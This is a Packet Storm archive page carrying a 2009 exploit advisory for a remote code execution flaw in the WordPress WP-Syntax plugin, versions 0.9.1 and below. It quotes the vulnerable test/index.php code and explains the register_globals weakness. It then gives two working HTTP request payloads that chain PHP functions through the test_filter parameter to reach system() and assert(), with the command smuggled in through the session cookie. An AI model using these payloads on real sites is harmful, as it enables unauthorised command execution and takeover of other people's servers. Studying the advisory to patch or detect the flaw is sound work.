what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress WP-Syntax 0.9.1 Command Execution

WordPress WP-Syntax 0.9.1 Command Execution
Posted Aug 27, 2009
Authored by Raz0r | Site raz0r.name

WordPress WP-Syntax component versions 0.9.1 and below suffer from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | 547151921388880fdd6a2e7eb7273c4d22b170de986e44654c877c71eeaeab96

WordPress WP-Syntax 0.9.1 Command Execution

Change Mirror Download
======================================================================
Wordpress plugin WP-Syntax <= 0.9.1 Remote Code Execution
======================================================================
This vulnerability was originally discovered by Raz0r on
26.12.2008, a user of forum.antichat.ru, and was kept private
until it was found out that information had leaked and
a person called Inj3ct0r published it on milw0rm
claiming himself as the author of this vulnerability. His
actions deserve no respect and thanks to str0ke a little bit
of justice is obtained. See original topic at:
https://forum.antichat.ru/showthread.php?t=98119
======================================================================
WP-Syntax has a directly accessible script that tests
capabilities of the plugin.
Vulnerable code at test/index.php@132-150:

...
function apply_filters($tag, $string)
{
global $test_filter;

if (!isset($test_filter[$tag])) return $string;

uksort($test_filter[$tag], "strnatcasecmp");

foreach ($test_filter[$tag] as $priority => $functions)
{
if (is_null($functions)) continue;

foreach($functions as $function)
{
$string = call_user_func_array($function, array($string));
}
}
return $string;
}
...

Global variable test_filter is not defined, so register_globals = on
makes it possible to pass arbitrary value into the first parameter of
call_user_func_array(). Considering the fact that this function is
called in a loop and the returned value is assinged to the second parameter
on every iteration, it is obvious that user function can be called with
a single parameter containing arbitrary data that can come from the
environment, e.g. session id. There are several valid sequences of function
calls that let execute any code.

==============================[1]=====================================
GET /wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0
Host: localhost
Cookie: PHPSESSID=dir
Connection: close

Initially session_start() is called, then the return value of session_id() that
contains command to execute passes to system().

==============================[2]=====================================
/wp-content/index.php?test_filter[wp_head][99][]=session_start&test_filter[wp_head][99][0]=session_id&test_filter[wp_head][99][1]=base64_decode&test_filter[wp_head][99][2]=assert&q=phpinfo();exit;

This vector was found by ShAnKaR and improves the previous one by using
base64-encoded payload that broadens the char range that can be passed
to the next function. Besides, assert() successfully executes arbitrary
code being called in call_user_func_array() while the usage of eval() in
this function is not possible.

======================================================================
forum.antichat.ru, raz0r.name

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close